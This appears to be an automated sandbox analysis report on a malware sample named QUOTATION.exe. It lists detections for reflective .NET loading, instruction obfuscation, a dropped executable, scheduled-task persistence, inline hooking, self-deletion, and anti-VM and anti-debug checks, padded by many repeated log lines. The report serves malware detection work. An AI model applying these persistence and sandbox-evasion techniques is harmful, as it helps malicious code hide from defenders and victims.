Source: 13.0.QUOTATION.exe.330000.2.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 13.2.QUOTATION.exe.330000.0.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 13.0.QUOTATION.exe.330000.1.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 17.0.QUOTATION.exe.520000.0.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 17.2.QUOTATION.exe.520000.1.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 17.0.QUOTATION.exe.520000.3.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 17.0.QUOTATION.exe.520000.5.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 17.0.QUOTATION.exe.520000.1.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 17.0.QUOTATION.exe.520000.2.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 17.0.QUOTATION.exe.520000.7.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 17.0.QUOTATION.exe.520000.9.unpack, Views/MainForm.cs .Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 1_2_0036424F push es; iretd 1_2_0036425C
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 1_2_003642B1 push cs; iretd 1_2_003642CC
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 1_2_00364287 push cs; iretd 1_2_003642B0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 1_2_003642DB push ss; iretd 1_2_003642F6
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 1_2_00DAE768 pushfd ; ret 1_2_00DAE769
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 13_2_0033424F push es; iretd 13_2_0033425C
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 13_2_003342B1 push cs; iretd 13_2_003342CC
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 13_2_00334287 push cs; iretd 13_2_003342B0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 13_2_003342DB push ss; iretd 13_2_003342F6
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00417015 push esp; retf 17_2_00417041
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041690B push cs; ret 17_2_0041690E
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041D4B5 push eax; ret 17_2_0041D508
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041D56C push eax; ret 17_2_0041D572
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041D502 push eax; ret 17_2_0041D508
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0041D50B push eax; ret 17_2_0041D572
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0052424F push es; iretd 17_2_0052425C
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_005242DB push ss; iretd 17_2_005242F6
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00524287 push cs; iretd 17_2_005242B0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_005242B1 push cs; iretd 17_2_005242CC
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0102D0D1 push ecx; ret 17_2_0102D0E4
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0329D0D1 push ecx; ret 24_2_0329D0E4
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_00747015 push esp; retf 24_2_00747041
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074690B push cs; ret 24_2_0074690E
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074DC11 push gs; ret 24_2_0074DC13
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074D4B5 push eax; ret 24_2_0074D508
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074D56C push eax; ret 24_2_0074D572
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074D502 push eax; ret 24_2_0074D508
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0074D50B push eax; ret 24_2_0074D572
Source: initial sample Static PE information: section name: .text entropy: 7.84988973797
Source: initial sample Static PE information: section name: .text entropy: 7.84988973797

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Users\user\Desktop\QUOTATION.exe File created: C:\Users\user\AppData\Roaming\lQdAGavApIJoo.exe Jump to dropped file

Boot Survival:

barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lQdAGavApIJoo" /XML "C:\Users\user\AppData\Local\Temp\tmp8E88.tmp

Hooking and other Techniques for Hiding and Protection:

barindex
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x80 0x0E 0xE1
Self deletion via cmd delete
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process created: /c del "C:\Users\user\Desktop\QUOTATION.exe"
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process created: /c del "C:\Users\user\Desktop\QUOTATION.exe" Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Yara detected AntiVM3
Source: Yara match File source: 1.2.QUOTATION.exe.2751384.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000001.00000002.299134882.0000000002731000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.299185343.000000000276E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: QUOTATION.exe PID: 6924, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: QUOTATION.exe, 00000001.00000002.299185343.000000000276E000.00000004.00000001.sdmp, QUOTATION.exe, 00000001.00000002.299134882.0000000002731000.00000004.00000001.sdmp Binary or memory string: SBIEDLL.DLL
Source: QUOTATION.exe, 00000001.00000002.299185343.000000000276E000.00000004.00000001.sdmp, QUOTATION.exe, 00000001.00000002.299134882.0000000002731000.00000004.00000001.sdmp Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\QUOTATION.exe RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QUOTATION.exe RDTSC instruction interceptor: First address: 0000000000409B7E second address: 0000000000409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\NETSTAT.EXE RDTSC instruction interceptor: First address: 0000000000739904 second address: 000000000073990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\NETSTAT.EXE RDTSC instruction interceptor: First address: 0000000000739B7E second address: 0000000000739B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\QUOTATION.exe TID: 6928 Thread sleep time: -38290s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe TID: 6992 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4676 Thread sleep time: -9223372036854770s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 2808 Thread sleep time: -38000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE TID: 6172 Thread sleep time: -32000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\NETSTAT.EXE Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00409AB0 rdtsc 17_2_00409AB0
Contains long sleeps (>= 3 min)
